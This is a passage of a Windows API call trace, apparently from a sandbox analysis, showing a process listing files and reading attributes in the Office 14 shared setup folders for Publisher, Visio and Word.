	[0050.544] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="PUBLIS~1.XML")) returned 1
	[0050.544] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0050.544] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.544] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.544] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274ea08 | out: lpFileInformation=0x1274ea08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1
	[0050.548] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274ea58 | out: lpFileInformation=0x1274ea58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648)) returned 1
	[0050.549] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe"), fInfoLevelId=0x0, lpFileInformation=0x1274eaa8 | out: lpFileInformation=0x1274eaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378)) returned 1
	[0050.550] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior"), fInfoLevelId=0x0, lpFileInformation=0x1274eaf8 | out: lpFileInformation=0x1274eaf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.550] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.550] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.550] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.550] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0050.550] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1
	[0050.550] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.550] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.551] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274ebe8 | out: lpFileInformation=0x1274ebe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061)) returned 1
	[0050.551] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274ec38 | out: lpFileInformation=0x1274ec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213)) returned 1
	[0050.552] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us"), fInfoLevelId=0x0, lpFileInformation=0x1274ec88 | out: lpFileInformation=0x1274ec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.553] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.553] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.553] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0050.553] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1
	[0050.553] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.553] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.553] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274ed78 | out: lpFileInformation=0x1274ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861)) returned 1
	[0050.554] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274edc8 | out: lpFileInformation=0x1274edc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f)) returned 1
	[0050.555] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us"), fInfoLevelId=0x0, lpFileInformation=0x1274ee18 | out: lpFileInformation=0x1274ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.556] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.556] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.556] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0050.556] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1
	[0050.556] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.556] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.556] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274ef08 | out: lpFileInformation=0x1274ef08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978)) returned 1
	[0050.557] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274ef58 | out: lpFileInformation=0x1274ef58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708)) returned 1
	[0050.557] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274efa8 | out: lpFileInformation=0x1274efa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510)) returned 1
	[0050.558] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), fInfoLevelId=0x0, lpFileInformation=0x1274eff8 | out: lpFileInformation=0x1274eff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a)) returned 1
	[0050.558] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274f048 | out: lpFileInformation=0x1274f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78)) returned 1
	[0050.558] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274f098 | out: lpFileInformation=0x1274f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8)) returned 1
	[0050.559] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274f0e8 | out: lpFileInformation=0x1274f0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90)) returned 1
	[0050.560] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274f138 | out: lpFileInformation=0x1274f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90)) returned 1
	[0050.560] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274f188 | out: lpFileInformation=0x1274f188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68)) returned 1
	[0050.561] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274f1d8 | out: lpFileInformation=0x1274f1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778)) returned 1
	[0050.561] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274f228 | out: lpFileInformation=0x1274f228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00)) returned 1
	[0050.562] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274f278 | out: lpFileInformation=0x1274f278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150)) returned 1
